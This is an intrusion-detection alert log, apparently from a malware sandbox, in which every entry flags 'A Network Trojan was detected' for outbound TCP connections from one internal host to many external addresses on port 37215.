2024-12-30T11:58:30.636060+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44682	41.190.138.231	37215	TCP
2024-12-30T11:58:30.636113+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45546	197.10.122.150	37215	TCP
2024-12-30T11:58:30.636225+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60192	156.220.33.161	37215	TCP
2024-12-30T11:58:30.636417+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42864	41.141.245.214	37215	TCP
2024-12-30T11:58:30.636448+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50402	156.4.47.247	37215	TCP
2024-12-30T11:58:30.636566+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42242	156.218.41.66	37215	TCP
2024-12-30T11:58:30.636782+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60198	197.213.129.24	37215	TCP
2024-12-30T11:58:30.636803+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46578	156.24.249.131	37215	TCP
2024-12-30T11:58:30.636983+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45996	41.6.142.82	37215	TCP
2024-12-30T11:58:30.637044+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34260	156.19.251.73	37215	TCP
2024-12-30T11:58:30.637149+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56480	156.91.93.189	37215	TCP
2024-12-30T11:58:30.637233+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37976	197.127.113.212	37215	TCP
2024-12-30T11:58:30.637360+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43280	156.222.193.117	37215	TCP
2024-12-30T11:58:30.637536+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49692	41.74.205.213	37215	TCP
2024-12-30T11:58:30.637614+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51962	197.145.123.247	37215	TCP
2024-12-30T11:58:30.637695+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40476	156.162.4.202	37215	TCP
2024-12-30T11:58:30.638182+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54414	41.161.13.63	37215	TCP
2024-12-30T11:58:30.639283+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42792	156.213.8.113	37215	TCP
2024-12-30T11:58:30.640652+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48962	156.154.160.13	37215	TCP
2024-12-30T11:58:30.640738+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39968	41.116.48.51	37215	TCP
2024-12-30T11:58:30.650147+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52454	197.243.215.210	37215	TCP
2024-12-30T11:58:30.650745+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46752	41.190.172.111	37215	TCP
2024-12-30T11:58:30.650935+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37536	156.27.27.250	37215	TCP
2024-12-30T11:58:30.650964+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49334	197.47.205.27	37215	TCP
2024-12-30T11:58:30.651051+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46980	197.177.118.14	37215	TCP
2024-12-30T11:58:30.651393+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37328	41.90.16.2	37215	TCP
2024-12-30T11:58:30.652437+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60468	197.198.45.54	37215	TCP
2024-12-30T11:58:30.656245+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53122	156.71.108.54	37215	TCP
2024-12-30T11:58:30.666469+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42670	41.239.215.130	37215	TCP
2024-12-30T11:58:30.666470+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48404	197.248.163.191	37215	TCP
2024-12-30T11:58:30.666470+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44414	156.174.56.203	37215	TCP
2024-12-30T11:58:30.666536+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38752	156.53.52.72	37215	TCP
2024-12-30T11:58:30.666726+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53972	156.85.24.210	37215	TCP
2024-12-30T11:58:30.666855+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36166	197.79.108.138	37215	TCP
2024-12-30T11:58:30.666855+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59084	197.52.115.121	37215	TCP
2024-12-30T11:58:30.666982+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50944	41.45.201.183	37215	TCP
2024-12-30T11:58:30.667186+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49096	41.225.75.76	37215	TCP
2024-12-30T11:58:30.667323+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39888	156.107.172.134	37215	TCP
2024-12-30T11:58:30.667936+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43902	197.223.93.160	37215	TCP
2024-12-30T11:58:30.668243+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44242	41.229.176.171	37215	TCP
2024-12-30T11:58:30.670143+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54212	41.41.131.176	37215	TCP
2024-12-30T11:58:30.670204+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44866	41.175.28.102	37215	TCP
2024-12-30T11:58:30.670734+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45372	156.142.49.103	37215	TCP
2024-12-30T11:58:30.671805+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53742	197.45.75.71	37215	TCP
2024-12-30T11:58:30.672079+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49322	156.35.239.23	37215	TCP
2024-12-30T11:58:30.672611+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44674	197.248.84.7	37215	TCP
2024-12-30T11:58:30.682017+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48440	197.177.210.99	37215	TCP
2024-12-30T11:58:30.682032+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58040	197.150.48.165	37215	TCP
2024-12-30T11:58:30.682283+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48458	41.43.37.240	37215	TCP
2024-12-30T11:58:30.682285+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47182	197.76.50.224	37215	TCP
2024-12-30T11:58:30.682492+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46266	197.28.233.183	37215	TCP
2024-12-30T11:58:30.683630+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49010	41.80.233.254	37215	TCP
2024-12-30T11:58:30.683714+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55072	41.169.142.29	37215	TCP
2024-12-30T11:58:30.685728+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59610	41.6.233.23	37215	TCP
2024-12-30T11:58:30.685802+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46184	41.49.86.106	37215	TCP
2024-12-30T11:58:30.686161+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53980	156.243.189.25	37215	TCP
2024-12-30T11:58:30.686307+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50230	197.3.248.2	37215	TCP
2024-12-30T11:58:30.697603+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46632	197.119.104.157	37215	TCP
2024-12-30T11:58:30.697838+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51870	41.245.163.128	37215	TCP
2024-12-30T11:58:30.697838+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41938	156.87.111.8	37215	TCP
2024-12-30T11:58:30.697838+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34748	41.48.239.158	37215	TCP
2024-12-30T11:58:30.697999+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35738	197.224.155.135	37215	TCP
2024-12-30T11:58:30.698143+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38134	156.138.15.86	37215	TCP
2024-12-30T11:58:30.698260+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41770	41.191.100.80	37215	TCP
2024-12-30T11:58:30.699395+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47130	41.150.250.158	37215	TCP
2024-12-30T11:58:30.699466+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33994	41.105.190.52	37215	TCP
2024-12-30T11:58:30.703090+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35072	156.10.138.172	37215	TCP
2024-12-30T11:58:30.703261+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49316	156.145.136.194	37215	TCP
2024-12-30T11:58:30.703505+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40134	156.31.35.111	37215	TCP
2024-12-30T11:58:30.713163+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49808	41.89.104.82	37215	TCP
2024-12-30T11:58:30.713314+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59916	156.57.234.191	37215	TCP
2024-12-30T11:58:30.713326+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49644	156.6.167.142	37215	TCP
2024-12-30T11:58:30.713343+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48302	41.174.8.47	37215	TCP
2024-12-30T11:58:30.713411+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52442	41.247.241.14	37215	TCP
2024-12-30T11:58:30.713508+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47100	156.0.232.213	37215	TCP
2024-12-30T11:58:30.713590+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40074	197.226.100.137	37215	TCP
2024-12-30T11:58:30.713678+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52452	156.249.232.17	37215	TCP
2024-12-30T11:58:30.713804+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35958	156.122.179.59	37215	TCP
2024-12-30T11:58:30.713819+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34894	156.197.244.74	37215	TCP
2024-12-30T11:58:30.713860+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48388	197.253.100.253	37215	TCP
2024-12-30T11:58:30.713918+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55758	41.148.153.144	37215	TCP
2024-12-30T11:58:30.713971+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36242	156.191.178.167	37215	TCP
2024-12-30T11:58:30.714053+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44880	41.57.208.136	37215	TCP
2024-12-30T11:58:30.715104+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45528	41.228.250.198	37215	TCP
2024-12-30T11:58:30.715377+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57010	197.31.42.248	37215	TCP
2024-12-30T11:58:30.715433+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45138	156.239.49.238	37215	TCP
2024-12-30T11:58:30.717004+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41008	197.144.208.34	37215	TCP
2024-12-30T11:58:30.717059+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54854	197.90.239.211	37215	TCP
2024-12-30T11:58:30.717327+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46098	197.95.193.215	37215	TCP
2024-12-30T11:58:30.717584+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38288	41.77.27.207	37215	TCP
2024-12-30T11:58:30.718724+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34822	197.153.6.73	37215	TCP
2024-12-30T11:58:30.728826+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58550	41.85.61.39	37215	TCP
2024-12-30T11:58:30.729118+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51946	156.60.79.74	37215	TCP
2024-12-30T11:58:30.729376+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33798	197.101.199.18	37215	TCP
2024-12-30T11:58:30.729454+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54522	156.120.79.177	37215	TCP
2024-12-30T11:58:30.730535+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53928	156.37.158.107	37215	TCP
2024-12-30T11:58:30.730552+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33578	41.210.108.168	37215	TCP
2024-12-30T11:58:30.730748+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34808	156.2.5.246	37215	TCP
2024-12-30T11:58:30.732764+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39116	156.57.20.178	37215	TCP
2024-12-30T11:58:30.734361+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54158	41.148.173.226	37215	TCP
2024-12-30T11:58:30.734453+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39802	197.160.191.181	37215	TCP
2024-12-30T11:58:30.734595+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33746	197.33.251.33	37215	TCP
2024-12-30T11:58:30.734787+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38152	197.35.236.212	37215	TCP
2024-12-30T11:58:30.744384+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57376	197.62.103.239	37215	TCP
2024-12-30T11:58:30.744580+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51352	41.136.56.49	37215	TCP
2024-12-30T11:58:30.744582+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42932	197.191.64.62	37215	TCP
2024-12-30T11:58:30.745111+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55820	156.54.127.16	37215	TCP
2024-12-30T11:58:30.745150+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55510	197.21.94.66	37215	TCP
2024-12-30T11:58:30.746142+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59460	156.235.175.169	37215	TCP
2024-12-30T11:58:30.748310+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37030	41.90.249.247	37215	TCP
2024-12-30T11:58:30.748496+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39678	156.109.165.251	37215	TCP
2024-12-30T11:58:30.750191+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34612	156.64.101.67	37215	TCP
2024-12-30T11:58:30.760112+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33834	156.125.177.5	37215	TCP
2024-12-30T11:58:30.760359+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46500	197.39.31.160	37215	TCP
2024-12-30T11:58:30.761632+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50544	197.206.63.90	37215	TCP
2024-12-30T11:58:30.761840+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54352	156.181.91.78	37215	TCP
2024-12-30T11:58:30.869345+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36320	41.12.207.118	37215	TCP
2024-12-30T11:58:30.870162+0100	2835222	1	A Network Trojan was detected	192.168.2.13	32904	41.72.165.122	37215	TCP
2024-12-30T11:58:30.871307+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46050	197.106.13.200	37215	TCP
2024-12-30T11:58:30.884718+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41056	156.42.86.214	37215	TCP
2024-12-30T11:58:30.884978+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55972	41.81.248.45	37215	TCP
2024-12-30T11:58:30.885120+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34954	197.189.153.121	37215	TCP
2024-12-30T11:58:30.885201+0100	2835222	1	A Network Trojan was detected	192.168.2.13	32974	156.46.141.68	37215	TCP
2024-12-30T11:58:30.885430+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34788	41.239.11.56	37215	TCP
2024-12-30T11:58:30.885766+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43628	156.69.67.99	37215	TCP
2024-12-30T11:58:30.886714+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37406	197.223.124.7	37215	TCP
2024-12-30T11:58:30.887291+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35668	41.228.208.172	37215	TCP
2024-12-30T11:58:30.888825+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35236	156.123.60.116	37215	TCP
2024-12-30T11:58:30.889021+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58970	197.253.238.128	37215	TCP
2024-12-30T11:58:30.890524+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54052	156.112.84.245	37215	TCP
2024-12-30T11:58:30.890634+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43958	156.232.203.131	37215	TCP
2024-12-30T11:58:30.900182+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44016	156.100.239.248	37215	TCP
2024-12-30T11:58:30.900693+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37302	156.50.127.142	37215	TCP
2024-12-30T11:58:30.902784+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37784	41.116.131.80	37215	TCP
2024-12-30T11:58:30.906430+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43260	41.224.35.102	37215	TCP
2024-12-30T11:58:30.916404+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48804	41.41.209.70	37215	TCP
2024-12-30T11:58:30.918081+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42160	197.205.231.36	37215	TCP
2024-12-30T11:58:30.918403+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48176	197.231.81.102	37215	TCP
2024-12-30T11:58:30.921913+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44076	41.248.47.121	37215	TCP
2024-12-30T11:58:32.421658+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50328	156.253.103.137	37215	TCP
2024-12-30T11:58:32.932219+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51628	197.249.88.69	37215	TCP
2024-12-30T11:58:32.932805+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45068	156.109.241.42	37215	TCP
2024-12-30T11:58:32.933047+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42436	156.169.191.215	37215	TCP
2024-12-30T11:58:32.933208+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57416	41.193.220.200	37215	TCP
2024-12-30T11:58:32.933461+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35792	156.101.247.130	37215	TCP
2024-12-30T11:58:32.933630+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54870	156.116.39.200	37215	TCP
2024-12-30T11:58:32.933933+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55036	41.55.65.172	37215	TCP
2024-12-30T11:58:32.934117+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55888	156.191.93.237	37215	TCP
2024-12-30T11:58:32.935035+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48496	41.79.84.105	37215	TCP
2024-12-30T11:58:32.935891+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33886	197.192.128.53	37215	TCP
2024-12-30T11:58:32.948168+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39874	41.224.93.220	37215	TCP
2024-12-30T11:58:32.948553+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34342	197.79.198.39	37215	TCP
2024-12-30T11:58:32.948599+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47092	197.98.22.62	37215	TCP
2024-12-30T11:58:32.949337+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40162	156.18.92.110	37215	TCP
2024-12-30T11:58:32.952194+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46786	197.64.75.204	37215	TCP
2024-12-30T11:58:32.952662+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55644	197.246.49.5	37215	TCP
2024-12-30T11:58:32.978564+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38030	41.210.149.51	37215	TCP
2024-12-30T11:58:32.978904+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36410	156.187.73.58	37215	TCP
2024-12-30T11:58:32.979041+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38630	197.93.238.54	37215	TCP
2024-12-30T11:58:32.979043+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49302	197.89.105.33	37215	TCP
2024-12-30T11:58:32.979074+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36328	156.13.189.108	37215	TCP
2024-12-30T11:58:32.979155+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60652	156.106.7.164	37215	TCP
2024-12-30T11:58:32.979517+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43728	197.189.135.34	37215	TCP
2024-12-30T11:58:32.980643+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54476	41.86.123.62	37215	TCP
2024-12-30T11:58:32.980665+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48454	41.26.102.197	37215	TCP
2024-12-30T11:58:32.980908+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49374	41.230.55.212	37215	TCP
2024-12-30T11:58:32.982695+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39980	156.13.108.190	37215	TCP
2024-12-30T11:58:32.982766+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49152	41.237.172.11	37215	TCP
2024-12-30T11:58:32.994492+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51118	156.6.89.61	37215	TCP
2024-12-30T11:58:32.994515+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56244	156.138.243.154	37215	TCP
2024-12-30T11:58:32.994593+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38472	156.169.69.193	37215	TCP
2024-12-30T11:58:32.994633+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51208	41.138.140.167	37215	TCP
2024-12-30T11:58:32.994773+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59564	197.92.141.107	37215	TCP
2024-12-30T11:58:32.994821+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59856	41.44.163.240	37215	TCP
2024-12-30T11:58:32.994925+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46288	156.1.25.74	37215	TCP
2024-12-30T11:58:32.995118+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49880	197.40.169.168	37215	TCP
2024-12-30T11:58:32.995148+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56928	197.207.205.126	37215	TCP
2024-12-30T11:58:32.995282+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36072	197.250.0.238	37215	TCP
2024-12-30T11:58:32.995448+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44426	197.200.79.39	37215	TCP
2024-12-30T11:58:32.995531+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35636	156.57.133.109	37215	TCP
2024-12-30T11:58:32.996342+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43186	197.238.194.223	37215	TCP
2024-12-30T11:58:32.996377+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48316	197.107.33.31	37215	TCP
2024-12-30T11:58:32.996691+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40210	41.141.148.233	37215	TCP
2024-12-30T11:58:32.996802+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47536	156.37.37.254	37215	TCP
2024-12-30T11:58:32.996915+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39888	156.149.182.191	37215	TCP
2024-12-30T11:58:33.009389+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59052	197.72.57.111	37215	TCP
2024-12-30T11:58:33.010094+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39362	156.250.109.59	37215	TCP
2024-12-30T11:58:33.010261+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52096	156.120.92.46	37215	TCP
2024-12-30T11:58:33.010331+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54974	197.238.132.137	37215	TCP
2024-12-30T11:58:33.010534+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55430	41.125.226.78	37215	TCP
2024-12-30T11:58:33.010648+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46334	197.83.90.105	37215	TCP
2024-12-30T11:58:33.010741+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41528	41.25.20.213	37215	TCP
2024-12-30T11:58:33.010942+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54148	197.40.63.23	37215	TCP
2024-12-30T11:58:33.011225+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41286	197.233.170.178	37215	TCP
2024-12-30T11:58:33.011309+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34228	197.140.83.173	37215	TCP
2024-12-30T11:58:33.011845+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50776	156.7.96.98	37215	TCP
2024-12-30T11:58:33.012153+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33610	41.237.37.41	37215	TCP
2024-12-30T11:58:33.012496+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43156	156.182.174.2	37215	TCP
2024-12-30T11:58:33.012568+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33398	197.208.52.207	37215	TCP
2024-12-30T11:58:33.013224+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42416	197.246.218.73	37215	TCP
2024-12-30T11:58:33.013794+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60050	156.19.18.216	37215	TCP
2024-12-30T11:58:33.032656+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47510	197.48.134.189	37215	TCP
2024-12-30T11:58:33.032659+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58486	156.202.105.35	37215	TCP
2024-12-30T11:58:33.032671+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56840	156.62.208.247	37215	TCP
2024-12-30T11:58:33.032672+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33706	197.167.251.9	37215	TCP
2024-12-30T11:58:33.032673+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58134	156.46.182.195	37215	TCP
2024-12-30T11:58:33.032687+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48846	41.20.164.130	37215	TCP
2024-12-30T11:58:33.032725+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33576	197.98.70.25	37215	TCP
2024-12-30T11:58:33.032727+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45746	41.188.10.23	37215	TCP
2024-12-30T11:58:33.032743+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48040	41.149.131.230	37215	TCP
2024-12-30T11:58:33.032784+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53152	156.106.104.75	37215	TCP
2024-12-30T11:58:33.032819+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43230	41.34.225.183	37215	TCP
2024-12-30T11:58:33.045596+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48592	156.17.174.6	37215	TCP
2024-12-30T11:58:33.047118+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54824	41.112.191.5	37215	TCP
2024-12-30T11:58:33.047125+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59270	41.182.67.190	37215	TCP
2024-12-30T11:58:33.047366+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53306	197.32.32.76	37215	TCP
2024-12-30T11:58:33.276446+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45000	197.144.183.161	37215	TCP
2024-12-30T11:58:33.276529+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40840	41.235.222.217	37215	TCP
2024-12-30T11:58:33.278303+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54882	156.180.119.226	37215	TCP
2024-12-30T11:58:33.291749+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57920	41.97.207.38	37215	TCP
2024-12-30T11:58:33.291854+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46450	41.18.43.210	37215	TCP
2024-12-30T11:58:33.291861+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38964	41.128.29.173	37215	TCP
2024-12-30T11:58:33.292011+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35052	41.105.60.23	37215	TCP
2024-12-30T11:58:33.292011+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33624	197.188.204.12	37215	TCP
2024-12-30T11:58:33.292629+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33474	197.94.136.42	37215	TCP
2024-12-30T11:58:33.292776+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49912	156.2.203.105	37215	TCP
2024-12-30T11:58:33.293846+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56500	197.35.235.54	37215	TCP
2024-12-30T11:58:33.295239+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41698	197.21.118.250	37215	TCP
2024-12-30T11:58:33.306449+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42848	197.109.36.50	37215	TCP
2024-12-30T11:58:33.306907+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59270	156.59.224.18	37215	TCP
2024-12-30T11:58:33.307036+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53300	197.204.96.138	37215	TCP
2024-12-30T11:58:33.307046+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59542	41.189.121.217	37215	TCP
2024-12-30T11:58:33.307129+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48052	41.64.243.137	37215	TCP
2024-12-30T11:58:33.307158+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49024	156.141.23.114	37215	TCP
2024-12-30T11:58:33.307416+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34134	41.214.140.154	37215	TCP
2024-12-30T11:58:33.307616+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58930	41.67.187.132	37215	TCP
2024-12-30T11:58:33.307832+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48214	41.14.138.172	37215	TCP
2024-12-30T11:58:33.307932+0100	2835222	1	A Network Trojan was detected	192.168.2.13	57110	197.75.57.100	37215	TCP
2024-12-30T11:58:33.307978+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52224	156.209.225.158	37215	TCP
2024-12-30T11:58:33.308097+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33122	156.61.136.28	37215	TCP
2024-12-30T11:58:33.308295+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51376	156.88.218.113	37215	TCP
